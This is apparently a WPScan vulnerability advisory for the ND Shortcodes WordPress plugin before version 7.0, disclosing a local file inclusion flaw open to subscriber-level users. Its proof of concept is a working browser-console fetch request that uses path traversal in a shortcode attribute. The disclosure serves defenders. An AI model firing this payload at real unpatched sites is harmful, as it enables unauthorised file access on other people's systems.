WordPress Plugin Vulnerabilities

ND Shortcodes < 7.0 - Subscriber+ LFI

Description

The plugin does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users such as subscriber to perform LFI attacks

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user, this will include the index.php file of the root of the blog

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[nd_options_testimonial nd_options_layout='../../../../../../index']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Numerous shortcodes were affected by this

Affects Plugins

Fixed in 7.0

References

Classification

Type
LFI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-06-12 (about 11 months ago)
Added
2023-06-12 (about 11 months ago)
Last Updated
2023-06-12 (about 11 months ago)

Other